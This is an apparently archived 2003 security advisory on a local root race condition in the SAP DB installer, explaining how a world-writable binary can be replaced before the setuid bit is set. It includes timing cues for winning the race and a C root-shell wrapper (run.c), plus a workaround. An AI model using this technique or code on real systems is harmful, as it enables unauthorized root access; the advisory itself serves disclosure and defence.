SAP Database Local Root Vulnerability During the Installation Process
27 Apr. 2003
Summary
SAP DB is a Free Enterprise database. An exploitable race condition exists during installation that can be won to yield root to a local malicious user. An executable is world writeable before a setuid bit is set by the installation program.
Vulnerable systems:
* SAP DB version 7.3.0.29
* SAP DB version 7.4.3.7 beta
Installation of the SAP database is done by the binary SDBINST. This first decompresses the files, changes permissions and then runs a file integrity check. Once this check is completed setuid bits are added to two files. A large gap between this check and the setuid operation exists (a few seconds at i least). This gives us ample time to change the contents of the pre-setuid file.
For the production 7.3.0.29 version:
Before the setuid root bit is set, a log file is written to that a normal non-privileged user can read. This file was located in /tmp/sapdb-server-linux-32bit-i386-7_3_0_29/y/config/install/. We simply watch that file for what is written to it just before the call to chmod and copy our malicious code over the target binary.
All of the files are checked for data integrity before the setuid bit is set, the installation no longer writes to a log file during this operation. It appears that just before the setuid bit is set a directory is created /opt/sapdb/depend/wrk. It proved more difficult to win the race using this directory creation as an indicator to copy our file over. Larry was able to win the race with a timed copy after the last file had been written from the archive and just before the integrity check had finished.
Below is an analysis of the installation program SDBRUN.
Analysis:
Local attackers can exploit this vulnerability to gain root access on a targeted system. The attacker would have needed previous knowledge of the system administrators SAP installation. To exploit the 7.4 beta version of this software an attacker would need to have a good idea of the target systems hardware type and speed.
The code we would rather have in place is:
---- run.c -----
/*##Larry W. Cashdollar, lwc@vapid.dhs.org
*##This is just a wrapper to boost our privs from euid(0) to uid(0)
guid(0 */
#include <stdio.h>
#include <unistd.h>
int
main (void)
{
char *shell[2];
shell[0] = "sh";
shell[1] = NULL;
if (!setreuid (0, 0))
printf ("We have root, getting sgid perms and spawning shell.\n");
else
{
printf ("Ack, We lost the race.\n");
_exit (0);
}
setregid (0, 0);
execve ("/bin/sh", shell, NULL);
return(0);
}
------ run.c --------
Workaround:
Boot the system into single user mode only and ensure no other users are logged in during installation.
Vendor fix:
The vendor was never notified, and this issue was fixed in the latest release.
